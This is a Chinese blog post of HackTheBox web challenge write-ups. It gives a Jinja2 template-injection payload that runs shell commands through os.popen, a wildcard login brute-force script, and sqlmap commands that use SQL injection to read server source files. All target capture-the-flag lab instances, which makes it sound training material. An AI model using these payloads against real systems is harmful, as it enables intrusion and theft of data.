新版HackTheBox做题记录

2021-4-19
做题小记录,也方便以后自己查看,web狗肯定要先从web开始做咯,争取每周三做三更。
2021-4-24
更新FreeLancer

Challenges

Web

Emdee five for life

easy 题
加密md5 然后提交 其实就是py小脚本训练 贴下脚本

import requests
import re
import hashlib


url = "http://46.101.53.249:32444/"

while(1):

    r = requests.session()
    resp = r.get(url)
    code = re.findall("<h3 align='center'>(.*?)</h3>", resp.text)
    code = code[0]
    print(code)
    m = hashlib.md5()
    b = code.encode(encoding='utf-8')
    m.update(b)
    str_md5 = m.hexdigest()
    print(str_md5)

    data = {
        'hash': str_md5
    }
    resp1 = r.post(url=url, data=data)
    print(resp1.text)
    if ("Too slow!" in resp1.text):
        continue
    else:
        print(resp1.text)

Templated

easy 题
在这里插入图片描述
flask jinja2 ssti模块注入 开始我用了Arjun扫了下参数没扫到。。然后随便进几个目录发现
在这里插入图片描述
这里解析了 ss 尝试访问下{{config}}
在这里插入图片描述
接下来就是构造payload 来命令执行了
简单思路:找Object 再找warnings.catch_warnings
payload:

{{ "".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]("os").popen("cat flag*").read() }}

Phonebook

Easy题
进来是一个登录界面
在这里插入图片描述
测试发现如果我们使用*当作账户密码可以直接登入,但是登录之后并获取不到flag,*的有匹配的含义,
比如cat flag11111 我们就可以用cat flag*,思路有了来写个小脚本尝试爆破下账户和密码

import requests
url = "http://46.101.53.249:31174/login"
username=""
data = {
    "username": username + "*",
    "password": "*"
}
input_data = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","#","$","%","@","!","0","1","2","3","4","5","6","7","8","9","{","}","[","]","_","&","^"," "]
while(1):
    for i in input_data:
        username = username + i

        data = {
            "username": username + "*",
            "password": "*"
        }

        resp = requests.post(url=url,data=data)
        if("/search" in resp.text):
            print(data)
            break
        else:
            username=username[:-1]

1
账户为reese 同理改下脚本来bp下密码 密码即是flag…(爆了快半小时) 这里就不贴脚本了

FreeLancer

首页有个表单,表单提交的数据一直500,xss也没法利用
在这里插入图片描述
在这里插入图片描述
拿dirb扫一下
在这里插入图片描述
扫到了一个/administrat/ 目录 登录进去是一个登录界面
看下源码有没有提示
在这里插入图片描述
在源码上多注意些注释 <!– 以及一些地址href=
进入/portfolio.php?id=2
手工测试下

/portfolio.php?id=2 and 1=1--+ 回显正常
/portfolio.php?id=2 and 1=2--+ 回显失败

布尔注入
丢进sqlmap里
在这里插入图片描述
dump下数据库
在这里插入图片描述
加密了,查看数据库权限
尝试了–os-shell 也不行
试试能不能读文件,虽然我们没有路径,但linux的web大多数都是放在/var/www/html下

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/index.php

读出来了
把已知的都读一下 看下源码

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/portfolio.php

在这里插入图片描述
从这也能发现那个/administrat/的管理界面

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/administrat/index.php

在这里插入图片描述

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/administrat/panel.php

最后在这个源码中读到了flag,挺折磨人的,开始还以为要读加密的姿势去逆向或者暴力呢,不知道师傅们有没有其他思路

  • 1
    点赞
  • 1
    评论
  • 0
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

打赏
文章很值,打赏犒劳作者一下
相关推荐
©️2020 CSDN 皮肤主题: 鲸 设计师:meimeiellie 返回首页

打赏

ISMidi

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者